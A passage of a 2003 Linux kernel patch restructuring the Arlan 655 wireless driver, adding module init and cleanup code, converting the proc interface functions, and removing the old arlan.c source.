pt_regs *regs) +{ + struct net_device *dev = dev_id; + struct arlan_private *priv = (struct arlan_private *) dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + u_char rxStatus = READSHMB(arlan->rxStatus); + u_char txStatus = READSHMB(arlan->txStatus); + + ARLAN_DEBUG_ENTRY("arlan_interrupt"); + + + if (!rxStatus && !txStatus) + priv->interrupt_ack_requested++; + + arlan_process_interrupt(dev); + + priv->irq_test_done = 1; + + ARLAN_DEBUG_EXIT("arlan_interrupt"); + return IRQ_HANDLED; + +} + + +static int arlan_close(struct net_device *dev) +{ + struct arlan_private *priv = (struct arlan_private *) dev->priv; + + if (!dev) + { + printk(KERN_CRIT "arlan: No Device\n"); + return 0; + } + priv = (struct arlan_private *) dev->priv; + if (!priv) + { + printk(KERN_CRIT "arlan: No Device priv \n"); + return 0; + } + ARLAN_DEBUG_ENTRY("arlan_close"); + + del_timer(&priv->timer); + + arlan_command(dev, ARLAN_COMMAND_POWERDOWN); + + IFDEBUG(ARLAN_DEBUG_STARTUP) + printk(KERN_NOTICE "%s: Closing device\n", dev->name); + + priv->open_time = 0; + netif_stop_queue(dev); + free_irq(dev->irq, dev); + + ARLAN_DEBUG_EXIT("arlan_close"); + return 0; +} + +#ifdef ARLAN_DEBUGGING +static long alignLong(volatile u_char * ptr) +{ + long ret; + memcpy_fromio(&ret, (void *) ptr, 4); + return ret; +} +#endif + +/* + * Get the current statistics. + * This may be called with the card open or closed. + */ + +static struct net_device_stats *arlan_statistics(struct net_device *dev) +{ + struct arlan_private *priv = (struct arlan_private *) dev->priv; + volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + + + ARLAN_DEBUG_ENTRY("arlan_statistics"); + + /* Update the statistics from the device registers. */ + + READSHM(priv->stats.collisions, arlan->numReTransmissions, u_int); + READSHM(priv->stats.rx_crc_errors, arlan->numCRCErrors, u_int); + READSHM(priv->stats.rx_dropped, arlan->numFramesDiscarded, u_int); + READSHM(priv->stats.rx_fifo_errors, arlan->numRXBufferOverflows, u_int); + READSHM(priv->stats.rx_frame_errors, arlan->numReceiveFramesLost, u_int); + READSHM(priv->stats.rx_over_errors, arlan->numRXOverruns, u_int); + READSHM(priv->stats.rx_packets, arlan->numDatagramsReceived, u_int); + READSHM(priv->stats.tx_aborted_errors, arlan->numAbortErrors, u_int); + READSHM(priv->stats.tx_carrier_errors, arlan->numStatusTimeouts, u_int); + READSHM(priv->stats.tx_dropped, arlan->numDatagramsDiscarded, u_int); + READSHM(priv->stats.tx_fifo_errors, arlan->numTXUnderruns, u_int); + READSHM(priv->stats.tx_packets, arlan->numDatagramsTransmitted, u_int); + READSHM(priv->stats.tx_window_errors, arlan->numHoldOffs, u_int); + + ARLAN_DEBUG_EXIT("arlan_statistics"); + + return &priv->stats; +} + + +static void arlan_set_multicast(struct net_device *dev) +{ + volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + int board_conf_needed = 0; + + + ARLAN_DEBUG_ENTRY("arlan_set_multicast"); + + if (dev->flags & IFF_PROMISC) + { + unsigned char recMode; + READSHM(recMode, arlan->receiveMode, u_char); + conf->receiveMode = (ARLAN_RCV_PROMISC | ARLAN_RCV_CONTROL); + if (conf->receiveMode != recMode) + board_conf_needed = 1; + } + else + { + /* turn off promiscuous mode */ + unsigned char recMode; + READSHM(recMode, arlan->receiveMode, u_char); + conf->receiveMode = ARLAN_RCV_CLEAN | ARLAN_RCV_CONTROL; + if (conf->receiveMode != recMode) + board_conf_needed = 1; + } + if (board_conf_needed) + arlan_command(dev, ARLAN_COMMAND_CONF); + + ARLAN_DEBUG_EXIT("arlan_set_multicast"); +} + + +int __init arlan_probe(struct net_device *dev) +{ + printk("Arlan driver %s\n", arlan_version); + + if (arlan_probe_everywhere(dev)) + return -ENODEV; + + arlans_found++; + + if (arlans_found == 1) + siteName = kmalloc(100, GFP_KERNEL); + return 0; +} + +#ifdef MODULE + +static int __init arlan_find_devices(void) +{ + int m; + int found = 0; + + ARLAN_DEBUG_ENTRY("arlan_find_devices"); + if (mem != 0 && numDevices == 1) /* Check a single specified location. */ + return 1; + for (m =(int) phys_to_virt(0xc0000); m <=(int) phys_to_virt(0xDE000); m += 0x2000) + { + if (arlan_check_fingerprint(m) == 0) + found++; + } + ARLAN_DEBUG_EXIT("arlan_find_devices"); + + return found; +} + +int init_module(void) +{ + int i = 0; + + ARLAN_DEBUG_ENTRY("init_module"); + + if (channelSet != channelSetUNKNOWN || channelNumber != channelNumberUNKNOWN || systemId != systemIdUNKNOWN) + return -EINVAL; + + numDevices = arlan_find_devices(); + if (numDevices == 0) + return -ENODEV; + + siteName = kmalloc(100, GFP_KERNEL); + if(siteName==NULL) + return -ENOMEM; + + for (i = 0; i < numDevices && i < MAX_ARLANS; i++) + { + if (!arlan_allocate_device(i, NULL)) + return -ENOMEM; + + if (arlan_device[i] == NULL) + return -ENOMEM; + + if (probe) + arlan_probe_everywhere(arlan_device[i]); +// arlan_command(arlan_device[i], ARLAN_COMMAND_POWERDOWN ); + } + init_arlan_proc(); + printk(KERN_INFO "Arlan driver %s\n", arlan_version); + ARLAN_DEBUG_EXIT("init_module"); + return 0; +} + + +void cleanup_module(void) +{ + int i = 0; + struct arlan_private *ap; + + ARLAN_DEBUG_ENTRY("cleanup_module"); + + IFDEBUG(ARLAN_DEBUG_SHUTDOWN) + printk(KERN_INFO "arlan: unloading module\n"); + + cleanup_arlan_proc(); + + for (i = 0; i < MAX_ARLANS; i++) + { + if (arlan_device[i]) + { + arlan_command(arlan_device[i], ARLAN_COMMAND_POWERDOWN ); + +// release_mem_region(virt_to_phys(arlan_device[i]->mem_start), 0x2000 ); + unregister_netdev(arlan_device[i]); + ap = arlan_device[i]->priv; + if (ap->init_etherdev_alloc) { + free_netdev(arlan_device[i]); + arlan_device[i] = NULL; + } else { + kfree(ap); + ap = NULL; + } + } + } + ARLAN_DEBUG_EXIT("cleanup_module"); +} + + +#endif +MODULE_LICENSE("GPL"); diff -Nru a/drivers/net/wireless/arlan-proc.c b/drivers/net/wireless/arlan-proc.c --- a/drivers/net/wireless/arlan-proc.c Wed Sep 24 12:43:34 2003 +++ b/drivers/net/wireless/arlan-proc.c Wed Sep 24 12:43:34 2003 @@ -1233,7 +1233,7 @@ static struct ctl_table_header *arlan_device_sysctl_header; -int init_arlan_proc(void) +int __init init_arlan_proc(void) { int i = 0; @@ -1247,25 +1247,11 @@ return 0; -}; +} - - -#ifdef MODULE - -int init_module(void) -{ - - return init_arlan_proc(); -}; - -void cleanup_module(void) +void __exit cleanup_arlan_proc(void) { unregister_sysctl_table(arlan_device_sysctl_header); arlan_device_sysctl_header = NULL; - return; -}; - -#endif // MODULE -MODULE_LICENSE("GPL"); +} diff -Nru a/drivers/net/wireless/arlan.c b/drivers/net/wireless/arlan.c --- a/drivers/net/wireless/arlan.c Wed Sep 24 12:43:34 2003 +++ /dev/null Wed Dec 31 16:00:00 1969 @@ -1,2078 +0,0 @@ -/* - * Copyright (C) 1997 Cullen Jennings - * Copyright (C) 1998 Elmer Joandiu, elmer@ylenurme.ee - * GNU General Public License applies - * This module provides support for the Arlan 655 card made by Aironet - */ - -#include -#include -#include "arlan.h" - -#if BITS_PER_LONG != 32 -# error FIXME: this driver requires a 32-bit platform -#endif - -static const char *arlan_version = "C.Jennigs 97 & Elmer.Joandi@ut.ee Oct'98, http://www.ylenurme.ee/~elmer/655/"; - -struct net_device *arlan_device[MAX_ARLANS]; -int last_arlan; - -static int SID = SIDUNKNOWN; -static int radioNodeId = radioNodeIdUNKNOWN; -static char encryptionKey[12] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'}; -static char *siteName = siteNameUNKNOWN; -static int mem = memUNKNOWN; -int arlan_debug = debugUNKNOWN; -static int probe = probeUNKNOWN; -static int numDevices = numDevicesUNKNOWN; -static int spreadingCode = spreadingCodeUNKNOWN; -static int channelNumber = channelNumberUNKNOWN; -static int channelSet = channelSetUNKNOWN; -static int systemId = systemIdUNKNOWN; -static int registrationMode = registrationModeUNKNOWN; -static int keyStart; -static int tx_delay_ms; -static int retries = 5; -static int async = 1; -static int tx_queue_len = 1; -static int arlan_EEPROM_bad; - -#ifdef ARLAN_DEBUGGING - -static int arlan_entry_debug; -static int arlan_exit_debug; -static int testMemory = testMemoryUNKNOWN; -static int irq = irqUNKNOWN; -static int txScrambled = 1; -static int mdebug; -#endif - -#if LINUX_VERSION_CODE > 0x20100 -MODULE_PARM(irq, "i"); -MODULE_PARM(mem, "i"); -MODULE_PARM(probe, "i"); -MODULE_PARM(arlan_debug, "i"); -MODULE_PARM(numDevices, "i"); -MODULE_PARM(testMemory, "i"); -MODULE_PARM(spreadingCode, "i"); -MODULE_PARM(channelNumber, "i"); -MODULE_PARM(channelSet, "i"); -MODULE_PARM(systemId, "i"); -MODULE_PARM(registrationMode, "i"); -MODULE_PARM(radioNodeId, "i"); -MODULE_PARM(SID, "i"); -MODULE_PARM(txScrambled, "i"); -MODULE_PARM(keyStart, "i"); -MODULE_PARM(mdebug, "i"); -MODULE_PARM(tx_delay_ms, "i"); -MODULE_PARM(retries, "i"); -MODULE_PARM(async, "i"); -MODULE_PARM(tx_queue_len, "i"); -MODULE_PARM(arlan_entry_debug, "i"); -MODULE_PARM(arlan_exit_debug, "i"); -MODULE_PARM(arlan_entry_and_exit_debug, "i"); -MODULE_PARM(arlan_EEPROM_bad, "i"); -MODULE_PARM_DESC(irq, "(unused)"); -MODULE_PARM_DESC(mem, "Arlan memory address for single device probing"); -MODULE_PARM_DESC(probe, "Arlan probe at initialization (0-1)"); -MODULE_PARM_DESC(arlan_debug, "Arlan debug enable (0-1)"); -MODULE_PARM_DESC(numDevices, "Number of Arlan devices; ignored if >1"); -MODULE_PARM_DESC(testMemory, "(unused)"); -MODULE_PARM_DESC(mdebug, "Arlan multicast debugging (0-1)"); -MODULE_PARM_DESC(retries, "Arlan maximum packet retransmisions"); -#ifdef ARLAN_ENTRY_EXIT_DEBUGGING -MODULE_PARM_DESC(arlan_entry_debug, "Arlan driver function entry debugging"); -MODULE_PARM_DESC(arlan_exit_debug, "Arlan driver function exit debugging"); -MODULE_PARM_DESC(arlan_entry_and_exit_debug, "Arlan driver function entry and exit debugging"); -#else -MODULE_PARM_DESC(arlan_entry_debug, "(ignored)"); -MODULE_PARM_DESC(arlan_exit_debug, "(ignored)"); -MODULE_PARM_DESC(arlan_entry_and_exit_debug, "(ignored)"); -#endif - -EXPORT_SYMBOL(arlan_device); -EXPORT_SYMBOL(arlan_conf); -EXPORT_SYMBOL(last_arlan); - - -// #warning kernel 2.1.110 tested -#define myATOMIC_INIT(a,b) atomic_set(&(a),b) - -#else -#define test_and_set_bit set_bit -#if LINUX_VERSION_CODE != 0x20024 - // #warning kernel 2.0.36 tested -#endif -#define myATOMIC_INIT(a,b) a = b; - -#endif - -struct arlan_conf_stru arlan_conf[MAX_ARLANS]; -static int arlans_found; - -static int arlan_probe_here(struct net_device *dev, int ioaddr); -static int arlan_open(struct net_device *dev); -static int arlan_tx(struct sk_buff *skb, struct net_device *dev); -static irqreturn_t arlan_interrupt(int irq, void *dev_id, struct pt_regs *regs); -static int arlan_close(struct net_device *dev); -static struct net_device_stats * - arlan_statistics (struct net_device *dev); -static void arlan_set_multicast (struct net_device *dev); -static int arlan_hw_tx (struct net_device* dev, char *buf, int length ); -static int arlan_hw_config (struct net_device * dev); -static void arlan_tx_done_interrupt (struct net_device * dev, int status); -static void arlan_rx_interrupt (struct net_device * dev, u_char rxStatus, u_short, u_short); -static void arlan_process_interrupt (struct net_device * dev); -static void arlan_tx_timeout (struct net_device *dev); -int arlan_command(struct net_device * dev, int command); - -EXPORT_SYMBOL(arlan_command); - -static inline long long arlan_time(void) -{ - struct timeval timev; - do_gettimeofday(&timev); - return ((long long) timev.tv_sec * 1000000 + timev.tv_usec); -}; - -#ifdef ARLAN_ENTRY_EXIT_DEBUGGING -#define ARLAN_DEBUG_ENTRY(name) \ - {\ - struct timeval timev;\ - do_gettimeofday(&timev);\ - if (arlan_entry_debug || arlan_entry_and_exit_debug)\ - printk("--->>>" name " %ld " "\n",((long int) timev.tv_sec * 1000000 + timev.tv_usec));\ - } -#define ARLAN_DEBUG_EXIT(name) \ - {\ - struct timeval timev;\ - do_gettimeofday(&timev);\ - if (arlan_exit_debug || arlan_entry_and_exit_debug)\ - printk("<<<---" name " %ld " "\n",((long int) timev.tv_sec * 1000000 + timev.tv_usec) );\ - } -#else -#define ARLAN_DEBUG_ENTRY(name) -#define ARLAN_DEBUG_EXIT(name) -#endif - - -#define arlan_interrupt_ack(dev)\ - clearClearInterrupt(dev);\ - setClearInterrupt(dev); - - -#define ARLAN_COMMAND_LOCK(dev) \ - if (atomic_dec_and_test(&((struct arlan_private * )dev->priv)->card_users))\ - arlan_wait_command_complete_short(dev,__LINE__); -#define ARLAN_COMMAND_UNLOCK(dev) \ - atomic_inc(&((struct arlan_private * )dev->priv)->card_users); - - -#define ARLAN_COMMAND_INC(dev) \ - {((struct arlan_private *) dev->priv)->under_command++;} -#define ARLAN_COMMAND_ZERO(dev) \ - {((struct arlan_private *) dev->priv)->under_command =0;} -#define ARLAN_UNDER_COMMAND(dev)\ - (((struct arlan_private *) dev->priv)->under_command) - -#define ARLAN_COMMAND_START(dev) ARLAN_COMMAND_INC(dev) -#define ARLAN_COMMAND_END(dev) ARLAN_COMMAND_ZERO(dev) -#define ARLAN_TOGGLE_START(dev)\ - {((struct arlan_private *) dev->priv)->under_toggle++;} -#define ARLAN_TOGGLE_END(dev)\ - {((struct arlan_private *) dev->priv)->under_toggle=0;} -#define ARLAN_UNDER_TOGGLE(dev)\ - (((struct arlan_private *) dev->priv)->under_toggle) - - - -static inline int arlan_drop_tx(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - priv->stats.tx_errors++; - if (priv->Conf->tx_delay_ms) - { - priv->tx_done_delayed = jiffies + priv->Conf->tx_delay_ms * HZ / 1000 + 1; - } - else - { - priv->waiting_command_mask &= ~ARLAN_COMMAND_TX; - TXHEAD(dev).offset = 0; - TXTAIL(dev).offset = 0; - priv->txLast = 0; - priv->txOffset = 0; - priv->bad = 0; - if (!priv->under_reset && !priv->under_config) - netif_wake_queue (dev); - } - return 1; -}; - - -int arlan_command(struct net_device *dev, int command_p) -{ - - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - struct arlan_private *priv = (struct arlan_private *) dev->priv; - int udelayed = 0; - int i = 0; - long long time_mks = arlan_time(); - - ARLAN_DEBUG_ENTRY("arlan_command"); - - if (priv->card_polling_interval) - priv->card_polling_interval = 1; - - if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) - printk(KERN_DEBUG "arlan_command, %lx lock %lx commandByte %x waiting %x incoming %x \n", - jiffies, priv->command_lock, READSHMB(arlan->commandByte), - priv->waiting_command_mask, command_p); - - priv->waiting_command_mask |= command_p; - - if (priv->waiting_command_mask & ARLAN_COMMAND_RESET) - if (jiffies - priv->lastReset < 5 * HZ) - priv->waiting_command_mask &= ~ARLAN_COMMAND_RESET; - - if (priv->waiting_command_mask & ARLAN_COMMAND_INT_ACK) - { - arlan_interrupt_ack(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_ACK; - } - if (priv->waiting_command_mask & ARLAN_COMMAND_INT_ENABLE) - { - setInterruptEnable(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_ENABLE; - } - - /* Card access serializing lock */ - - if (test_and_set_bit(0, (void *) &priv->command_lock)) - { - if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) - printk(KERN_DEBUG "arlan_command: entered when command locked \n"); - goto command_busy_end; - } - /* Check cards status and waiting */ - - if (priv->waiting_command_mask & (ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW)) - { - while (priv->waiting_command_mask & (ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW)) - { - if (READSHMB(arlan->resetFlag) || - READSHMB(arlan->commandByte)) /* || - (readControlRegister(dev) & ARLAN_ACCESS)) - */ - udelay(40); - else - priv->waiting_command_mask &= ~(ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW); - - udelayed++; - - if (priv->waiting_command_mask & ARLAN_COMMAND_LONG_WAIT_NOW) - { - if (udelayed * 40 > 1000000) - { - printk(KERN_ERR "%s long wait too long \n", dev->name); - priv->waiting_command_mask |= ARLAN_COMMAND_RESET; - break; - } - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_WAIT_NOW) - { - if (udelayed * 40 > 1000) - { - printk(KERN_ERR "%s short wait too long \n", dev->name); - goto bad_end; - } - } - } - } - else - { - i = 0; - while ((READSHMB(arlan->resetFlag) || - READSHMB(arlan->commandByte)) && - conf->pre_Command_Wait > (i++) * 10) - udelay(10); - - - if ((READSHMB(arlan->resetFlag) || - READSHMB(arlan->commandByte)) && - !(priv->waiting_command_mask & ARLAN_COMMAND_RESET)) - { - goto card_busy_end; - } - } - if (priv->waiting_command_mask & ARLAN_COMMAND_RESET) - priv->under_reset = 1; - if (priv->waiting_command_mask & ARLAN_COMMAND_CONF) - priv->under_config = 1; - - /* Issuing command */ - arlan_lock_card_access(dev); - if (priv->waiting_command_mask & ARLAN_COMMAND_POWERUP) - { - // if (readControlRegister(dev) & (ARLAN_ACCESS && ARLAN_POWER)) - setPowerOn(dev); - arlan_interrupt_lancpu(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_POWERUP; - priv->waiting_command_mask |= ARLAN_COMMAND_RESET; - priv->card_polling_interval = HZ / 10; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_ACTIVATE) - { - WRITESHMB(arlan->commandByte, ARLAN_COM_ACTIVATE); - arlan_interrupt_lancpu(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_ACTIVATE; - priv->card_polling_interval = HZ / 10; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_RX_ABORT) - { - if (priv->rx_command_given) - { - WRITESHMB(arlan->commandByte, ARLAN_COM_RX_ABORT); - arlan_interrupt_lancpu(dev); - priv->rx_command_given = 0; - } - priv->waiting_command_mask &= ~ARLAN_COMMAND_RX_ABORT; - priv->card_polling_interval = 1; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_TX_ABORT) - { - if (priv->tx_command_given) - { - WRITESHMB(arlan->commandByte, ARLAN_COM_TX_ABORT); - arlan_interrupt_lancpu(dev); - priv->tx_command_given = 0; - } - priv->waiting_command_mask &= ~ARLAN_COMMAND_TX_ABORT; - priv->card_polling_interval = 1; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_RESET) - { - priv->under_reset=1; - netif_stop_queue (dev); - - arlan_drop_tx(dev); - if (priv->tx_command_given || priv->rx_command_given) - { - printk(KERN_ERR "%s: Reset under tx or rx command \n", dev->name); - }; - netif_stop_queue (dev); - if (arlan_debug & ARLAN_DEBUG_RESET) - printk(KERN_ERR "%s: Doing chip reset\n", dev->name); - priv->lastReset = jiffies; - WRITESHM(arlan->commandByte, 0, u_char); - /* hold card in reset state */ - setHardwareReset(dev); - /* set reset flag and then release reset */ - WRITESHM(arlan->resetFlag, 0xff, u_char); - clearChannelAttention(dev); - clearHardwareReset(dev); - priv->numResets++; - priv->card_polling_interval = HZ / 4; - priv->waiting_command_mask &= ~ARLAN_COMMAND_RESET; - priv->waiting_command_mask |= ARLAN_COMMAND_INT_RACK; -// priv->waiting_command_mask |= ARLAN_COMMAND_INT_RENABLE; -// priv->waiting_command_mask |= ARLAN_COMMAND_RX; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_INT_RACK) - { - clearHardwareReset(dev); - clearClearInterrupt(dev); - setClearInterrupt(dev); - setInterruptEnable(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_RACK; - priv->waiting_command_mask |= ARLAN_COMMAND_CONF; - priv->under_config = 1; - priv->under_reset = 0; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_INT_RENABLE) - { - setInterruptEnable(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_RENABLE; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_CONF) - { - if (priv->tx_command_given || priv->rx_command_given) - { - printk(KERN_ERR "%s: Reset under tx or rx command \n", dev->name); - } - arlan_drop_tx(dev); - setInterruptEnable(dev); - arlan_hw_config(dev); - arlan_interrupt_lancpu(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_CONF; - priv->card_polling_interval = HZ / 10; -// priv->waiting_command_mask |= ARLAN_COMMAND_INT_RACK; -// priv->waiting_command_mask |= ARLAN_COMMAND_INT_ENABLE; - priv->waiting_command_mask |= ARLAN_COMMAND_CONF_WAIT; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_CONF_WAIT) - { - if (READSHMB(arlan->configuredStatusFlag) != 0 && - READSHMB(arlan->diagnosticInfo) == 0xff) - { - priv->waiting_command_mask &= ~ARLAN_COMMAND_CONF_WAIT; - priv->waiting_command_mask |= ARLAN_COMMAND_RX; - priv->waiting_command_mask |= ARLAN_COMMAND_TBUSY_CLEAR; - priv->card_polling_interval = HZ / 10; - priv->tx_command_given = 0; - priv->under_config = 0; - } - else - { - priv->card_polling_interval = 1; - if (arlan_debug & ARLAN_DEBUG_TIMING) - printk(KERN_ERR "configure delayed \n"); - } - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_RX) - { - if (!registrationBad(dev)) - { - setInterruptEnable(dev); - memset_io((void *) arlan->commandParameter, 0, 0xf); - WRITESHMB(arlan->commandByte, ARLAN_COM_INT | ARLAN_COM_RX_ENABLE); - WRITESHMB(arlan->commandParameter[0], conf->rxParameter); - arlan_interrupt_lancpu(dev); - priv->rx_command_given = 0; // mnjah, bad - priv->last_rx_time = arlan_time(); - priv->waiting_command_mask &= ~ARLAN_COMMAND_RX; - priv->card_polling_interval = 1; - } - else - priv->card_polling_interval = 2; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_TBUSY_CLEAR) - { - if ( !registrationBad(dev) && - (netif_queue_stopped(dev) || !netif_running(dev)) ) - { - priv->waiting_command_mask &= ~ARLAN_COMMAND_TBUSY_CLEAR; - netif_wake_queue (dev); - }; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_TX) - { - if (!test_and_set_bit(0, (void *) &priv->tx_command_given)) - { - if ((time_mks - priv->last_tx_time > conf->rx_tweak1) || - (time_mks - priv->last_rx_int_ack_time < conf->rx_tweak2)) - { - setInterruptEnable(dev); - memset_io((void *) arlan->commandParameter, 0, 0xf); - WRITESHMB(arlan->commandByte, ARLAN_COM_TX_ENABLE | ARLAN_COM_INT); - memcpy_toio((void *) arlan->commandParameter, &TXLAST(dev), 14); -// for ( i=1 ; i < 15 ; i++) printk("%02x:",READSHMB(arlan->commandParameter[i])); - priv->last_command_was_rx = 0; - priv->tx_last_sent = jiffies; - arlan_interrupt_lancpu(dev); - priv->last_tx_time = arlan_time(); - priv->tx_command_given = 1; - priv->waiting_command_mask &= ~ARLAN_COMMAND_TX; - priv->card_polling_interval = 1; - } - else - { - priv->tx_command_given = 0; - priv->card_polling_interval = 1; - } - } - else if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) - printk(KERN_ERR "tx command when tx chain locked \n"); - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_NOOPINT) - { - { - WRITESHMB(arlan->commandByte, ARLAN_COM_NOP | ARLAN_COM_INT); - } - arlan_interrupt_lancpu(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_NOOPINT; - priv->card_polling_interval = HZ / 3; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_NOOP) - { - WRITESHMB(arlan->commandByte, ARLAN_COM_NOP); - arlan_interrupt_lancpu(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_NOOP; - priv->card_polling_interval = HZ / 3; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_SLOW_POLL) - { - WRITESHMB(arlan->commandByte, ARLAN_COM_GOTO_SLOW_POLL); - arlan_interrupt_lancpu(dev); - priv->waiting_command_mask &= ~ARLAN_COMMAND_SLOW_POLL; - priv->card_polling_interval = HZ / 3; - } - else if (priv->waiting_command_mask & ARLAN_COMMAND_POWERDOWN) - { - setPowerOff(dev); - if (arlan_debug & ARLAN_DEBUG_CARD_STATE) - printk(KERN_WARNING "%s: Arlan Going Standby\n", dev->name); - priv->waiting_command_mask &= ~ARLAN_COMMAND_POWERDOWN; - priv->card_polling_interval = 3 * HZ; - } - arlan_unlock_card_access(dev); - for (i = 0; READSHMB(arlan->commandByte) && i < 20; i++) - udelay(10); - if (READSHMB(arlan->commandByte)) - if (arlan_debug & ARLAN_DEBUG_CARD_STATE) - printk(KERN_ERR "card busy leaving command %x \n", priv->waiting_command_mask); - - priv->command_lock = 0; - ARLAN_DEBUG_EXIT("arlan_command"); - priv->last_command_buff_free_time = jiffies; - return 0; - -card_busy_end: - if (jiffies - priv->last_command_buff_free_time > HZ) - priv->waiting_command_mask |= ARLAN_COMMAND_CLEAN_AND_RESET; - - if (arlan_debug & ARLAN_DEBUG_CARD_STATE) - printk(KERN_ERR "%s arlan_command card busy end \n", dev->name); - priv->command_lock = 0; - ARLAN_DEBUG_EXIT("arlan_command"); - return 1; - -bad_end: - printk(KERN_ERR "%s arlan_command bad end \n", dev->name); - - priv->command_lock = 0; - ARLAN_DEBUG_EXIT("arlan_command"); - - return -1; - -command_busy_end: - if (arlan_debug & ARLAN_DEBUG_CARD_STATE) - printk(KERN_ERR "%s arlan_command command busy end \n", dev->name); - ARLAN_DEBUG_EXIT("arlan_command"); - return 2; - -}; - -static inline void arlan_command_process(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - int times = 0; - while (priv->waiting_command_mask && times < 8) - { - if (priv->waiting_command_mask) - { - if (arlan_command(dev, 0)) - break; - times++; - } - /* if long command, we won't repeat trying */ ; - if (priv->card_polling_interval > 1) - break; - times++; - } -} - - -static inline void arlan_retransmit_now(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - - ARLAN_DEBUG_ENTRY("arlan_retransmit_now"); - if (TXLAST(dev).offset == 0) - { - if (TXHEAD(dev).offset) - { - priv->txLast = 0; - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_DEBUG "TX buff switch to head \n"); - - } - else if (TXTAIL(dev).offset) - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_DEBUG "TX buff switch to tail \n"); - priv->txLast = 1; - } - else - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "ReTransmit buff empty"); - priv->txOffset = 0; - netif_wake_queue (dev); - return; - - } - arlan_command(dev, ARLAN_COMMAND_TX); - - priv->nof_tx++; - - priv->Conf->driverRetransmissions++; - priv->retransmissions++; - - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk("Retransmit %d bytes \n", TXLAST(dev).length); - - ARLAN_DEBUG_EXIT("arlan_retransmit_now"); -} - - - -static void arlan_registration_timer(unsigned long data) -{ - struct net_device *dev = (struct net_device *) data; - struct arlan_private *priv = (struct arlan_private *) dev->priv; - - int lostTime = ((int) (jiffies - priv->registrationLastSeen)) * 1000 / HZ; - int bh_mark_needed = 0; - int next_tick = 1; - - - priv->timer_chain_active = 1; - - - if (registrationBad(dev)) - { - //debug=100; - priv->registrationLostCount++; - if (lostTime > 7000 && lostTime < 7200) - { - printk(KERN_NOTICE "%s registration Lost \n", dev->name); - } - if (lostTime / priv->reRegisterExp > 2000) - arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_CONF); - if (lostTime / (priv->reRegisterExp) > 3500) - arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); - if (priv->reRegisterExp < 400) - priv->reRegisterExp += 2; - if (lostTime > 7200) - { - next_tick = HZ; - arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); - } - } - else - { - if (priv->Conf->registrationMode && lostTime > 10000 && - priv->registrationLostCount) - { - printk(KERN_NOTICE "%s registration is back after %d milliseconds\n", dev->name, - ((int) (jiffies - priv->registrationLastSeen) * 1000) / HZ); - } - priv->registrationLastSeen = jiffies; - priv->registrationLostCount = 0; - priv->reRegisterExp = 1; - if (!netif_running(dev) ) - netif_wake_queue(dev); - if (priv->tx_last_sent > priv->tx_last_cleared && - jiffies - priv->tx_last_sent > 5*HZ ){ - arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); - priv->tx_last_cleared = jiffies; - }; - } - - - if (!registrationBad(dev) && priv->ReTransmitRequested) - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk(KERN_ERR "Retransmit from timer \n"); - priv->ReTransmitRequested = 0; - arlan_retransmit_now(dev); - } - if (!registrationBad(dev) && - time_after(jiffies, priv->tx_done_delayed) && - priv->tx_done_delayed != 0) - { - TXLAST(dev).offset = 0; - if (priv->txLast) - priv->txLast = 0; - else if (TXTAIL(dev).offset) - priv->txLast = 1; - if (TXLAST(dev).offset) - { - arlan_retransmit_now(dev); - dev->trans_start = jiffies; - } - if (!(TXHEAD(dev).offset && TXTAIL(dev).offset)) - { - priv->txOffset = 0; - netif_wake_queue (dev); - } - priv->tx_done_delayed = 0; - bh_mark_needed = 1; - } - if (bh_mark_needed) - { - priv->txOffset = 0; - netif_wake_queue (dev); - } - arlan_process_interrupt(dev); - - if (next_tick < priv->card_polling_interval) - next_tick = priv->card_polling_interval; - - priv->timer_chain_active = 0; - 